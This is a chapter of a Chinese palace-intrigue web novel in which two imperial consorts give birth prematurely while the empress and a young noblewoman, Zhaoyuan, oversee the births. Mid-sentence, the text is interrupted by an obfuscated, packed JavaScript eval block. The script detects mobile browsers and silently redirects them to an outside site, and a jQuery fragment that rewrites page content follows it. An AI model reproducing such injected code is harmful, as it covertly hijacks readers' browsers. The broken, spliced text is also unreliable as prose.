39. 淑妃也早产了
作品:《我生来就是要当女帝的》 温美人这一胎尚未足月,算来刚满八个多月,突然发动,着实令人心惊。
赵皇后闻报,脸色一沉,立刻起身,也顾不上仪态,急匆匆便摆驾赶往温美人所居的永乐宫偏殿。昭元见状,自然紧随其后。
一行人步履匆匆,赶到之时,殿外已有太医垂手躬身候着,空气中弥漫着一股浓重压抑的气息,伴随着内殿女子压抑不住的痛苦呻吟。
宫人们屏息静气,脚步却不停,端着热水的,捧着干净布巾的,捧着参汤的,穿梭往来,人人面色凝重。
那朱漆盆盂一次次端出,里面晃动的尽是刺目的鲜红,看得人心头直发紧。
太医院院判见皇后亲至,忙上前回话,语气里着谨慎“启禀皇后娘娘,温美人乃是误食了性寒滑利的薏米红豆羹,才致胎动异常,提前发动。”
“眼下…虽是早产,但脉象显示,美人身体底子尚可,只是产程恐会艰难漫长”
赵皇后眉头紧锁,薏米红豆?宫中孕妇饮食一向谨慎,怎会出这等纰漏,但此刻绝非深究之时,她强压下心头疑虑与怒火,沉声道“务必竭尽全力,保皇嗣无恙,温美人也要小心看护,不得有误。”
她深知生产之事,尤其是早产,绝非一时半刻能结束,转头便厉声吩咐身旁的侍女“热水必须时刻备着,参汤不能断,稳婆需要什么,立刻去取,所有当值人等,都给本宫打起十二分精神。”
片刻,便有宫女机灵地搬来了梨花木凳请赵皇后和昭元坐下。
内殿温美人一声高过一声的凄厉惨叫透过门缝清晰地传来。
就在这时,殿外又是一阵轻微骚动,竟是淑妃宫里的掌事宫女一脸惶急地赶来。赵皇后正心焦如焚,见淑妃的人此刻过来,心中顿生不悦,只觉淑妃平日娇纵便罢了,这种关头竟还派人来添乱。
她尚未来得及发作,那宫女已小跑过来,扑通一声滑着跪倒在地,带着哭腔急禀“皇后娘娘,不好了,我们娘娘…我们娘娘方才听闻温美人发动,一时心急惊惧,竟也,竟也腹痛不止,似要临盆了!”
“什么?”赵皇后霍然起身,手中的茶盏险些打翻。淑妃的月份比温美人还小将近一个月。
“这接二连三的早产。”她来不及细想,连方才宫女新奉上的热茶都未能喝一口,立刻下令“快,摆驾长颂宫中。”
接着,她向前方看去,思索着开口“李院判,你随本宫去淑妃那儿,这里…留下两位太医盯着。”
赵皇后又匆匆看向昭元,“昭元,你暂且留在此处照应,有任何情况,立刻派人来报。”
屋漏偏逢连夜雨,唯一值得庆幸的是,温美人前些时日刚晋了位份,挪的宫殿恰与淑妃的居所相距不远。
赵皇后快步离去,留下昭元在产房之外。
淑妃宫中更是乱作一团。赵皇后刚至,还没来得及细问,便听外面太监尖声通传“陛下驾到。”
只见李承业步履匆匆而来,脸上是显而易见的焦灼与担忧“朕刚在前殿听闻消息,这…这究竟是怎么回事?两人怎会同时发动?”
他看向赵皇后,眼神里带着询问与厉色。
赵皇后也看的分明,却并未有其他反应,只是将温美人误食,淑妃受惊之事简略回禀,末了道“陛下放心,太医和稳婆都已在内守着。只是两位妹妹皆是早产,需得些时辰。”
李承业闻言,面色更加阴沉,负手在殿内踱步,目光不时扫向内殿垂落的锦帘。
等到赵皇后将淑妃这边初步安顿好,嘱托皇帝在此坐镇,又匆匆返回温美人处时,却见偏殿外虽气氛依旧紧张,但人事调度竟井然有序。热水,汤药、布帛传递不息,确是忙而不乱。
她心中稍定,只觉口干舌燥,也顾不上许多,伸手便拿起方才离去时那杯未曾动过的茶水。
意料中的冰凉并未出现,温水滑过干涩的喉咙,带来一丝舒缓。虽是夏日,但时间过去不短,茶水竟还保持着温热,赵皇后立刻明白,这定是昭元细心,一直吩咐宫人随时更换备着的。
她不由抬眼看了一下静立一旁的昭元,对上那双沉静明澈的眸子,心中顿生一股暖意与赞赏,对她露出一个极为舒缓欣慰的笑容。
“温美人这边情况如何了?”赵皇后缓过一口气,低声问道。
“回皇后,”昭元轻声回话,“方才离去后,里面叫喊声已经低了下来,太医施了针,又灌了参汤,如今气息已平稳许多。产婆说,美人方才只是脱力,现下平稳下来,正在积攒力气,产道也开了不少。”
赵皇后细细听了,点了点头,想到皇帝此刻在淑妃那边守着,心下稍安,便又重新坐下。
赵皇后饮下那杯温水,接着又倒了一杯,喝起来明显不如方才急快,喝完,她长长舒了一口气,这才有精力细细分说。
她转向昭元,声音带着疲惫“淑妃那边,阵仗闹得更大些。”
赵皇后揉了揉眉心,“本宫赶过去时,她宫里已是人仰马翻,她自个儿吓得脸色惨白,抓着被子只是哭喊,说是腹痛如绞,怕是孩儿保不住了。太医诊了脉,确是要提前发动的迹象,好在胎息虽弱,尚算平稳,只是她情绪激动,反而于生产无益。”
她顿了顿,目光瞥向淑妃宫殿的方向,语气里带上一丝难以言喻的意味“本宫吩咐人镇住场面,陛下也急匆匆赶来了。想必是前头议事的功夫得了信儿。”
“有陛下坐镇,淑妃倒是稍稍安定了几分,只是那哭声听着依旧揪心。”
“本宫离去时,陛下还在守着,还特意嘱咐内监,若有任何消息,立刻同时报予他和本宫知晓。”赵皇后说着,语气平稳,听不出什么情绪,
昭元却能感受到这话语底下细微的波澜,帝王的关切,于哪位妃嫔多一些,于哪位皇子公主多一些,在这深宫之中,从来都不是简单的情爱争夺。
“本宫瞧着那边一时半刻也难以分娩,陛下既在,一应人手药材也都充足,便先回来看着这边。总不能顾此失彼。”赵皇后目光重新落回温美人的产房门口,“都是皇家子嗣,陛下的骨血,容不得半点闪失。”
昭元静静地听着,轻声道“皇帝亲至,淑妃娘娘心中安定,于生产自是好事。娘娘您统筹全局,辛苦了。”
赵皇后看了昭元一眼,眼中赞赏之色更浓。她并未再多言淑妃之事,有些话,点到即止,聪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338883|180833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明人自然明白,眼前的昭元,显然比她预想的还要通。
殿内暂时只剩下温美人压抑的呻吟和产婆低声鼓励指导的声音。
赵皇后看着身旁年纪尚小却异常沉稳的昭元,语气温和了许多“今日事发突然,宫中高位妃嫔稀少,竟要你一个未出阁的姑娘家在此经历这些,实在是委屈你了。”
昭元微微垂首“皇后后言重了。能为您分忧,是昭元的本分。何况事关皇嗣,非同小可。”
赵皇后看着她礼仪周到,言行得体,处理事务竟也有条不紊,心中那份满意愈发浓厚,不禁想到,这般品貌能力,配煜安那跳脱的性子,实在是绰绰有余。她不得不承认,这门婚事,比她想的还合适。
思绪及此,赵皇后的话也多了起来,或许是产房外的等待太过煎熬,需要说些什么来分散注意。她目光望向虚空,带着几分感慨“女人生孩子,便是在鬼门关前走一遭。”
“本宫生煜泽的时候,那时还在扬州,头一胎,什么都不懂,也是凶险万分,疼了整整一天一夜,血水不知换了多少盆,稳婆的脸都白了”
“当时陛下就在外面守着,后来竟不顾产房血光不吉的说法,硬是冲了进来,紧紧握着本宫的手…”她说着,眼神里多了一丝温柔怀念。
“等到生煜安时,便顺利多了,也有了经验。谁知呢,生得顺利的那个,长大后反倒皮实得让人头疼;生得艰难的那个,却从小就沉稳懂事,知礼守节。”
她们在这边低声说着话,而另一处宫殿内,淑妃的产房里又是另一番光景。
淑妃带来的自小看着她长大的老嬷嬷一边心疼地替她擦着汗,一边忍不住低声垂泪“娘娘,您何苦如此拼命,这孩子月份还这样小,前面已有两位皇子了,温美人生的也不一定就是皇子…咱们不嫡不长,便是晚她几日生产,又有何妨呢。”
淑妃浑身湿透,发丝黏在苍白的脸颊上,闻言喘息着,断断续续地道“嬷嬷,别说了,事已至此,只怪,只怪她温氏,生得太早…”她眼中的不甘与算计即便在剧烈的痛楚中依然清晰。
时间一点点流逝,油灯燃起。直到深夜,温美人宫中终于传出一声稍显孱弱的婴儿啼哭。
“生了,生了,是位小皇子!”稳婆欢喜的声音传出。
消息刚刚报出,赵皇后还未来得及做出反应,淑妃那边也紧接着传来消息,淑妃诞下了一位小公主。
几乎是在听到“公主”二字的瞬间,昭元清晰地感觉到,赵皇后一直紧绷的神色放松了下来。
与此同时,宫外的屈府书房内,烛火通明。
屈端泽也收到了宫中心腹嬷嬷连夜递出的消息。他迫不及待地展开纸条,目光急急扫过前面冗长的过程描述,直接定格在最后的结果上。
当看到“公主”二字时,他先是眉头紧锁,忍不住低声骂了一句“不争气的东西!”
然而,沉默片刻后,他脸上的怒意渐渐消散,取而代之的是一种复杂的又带着几分庆幸的神情。他重新拿起那张纸条,就着烛火点燃,看着它化为灰烬,才喃喃自语道“罢了,是公主也好。如此…这个孩子,或许反而能留得下来了。”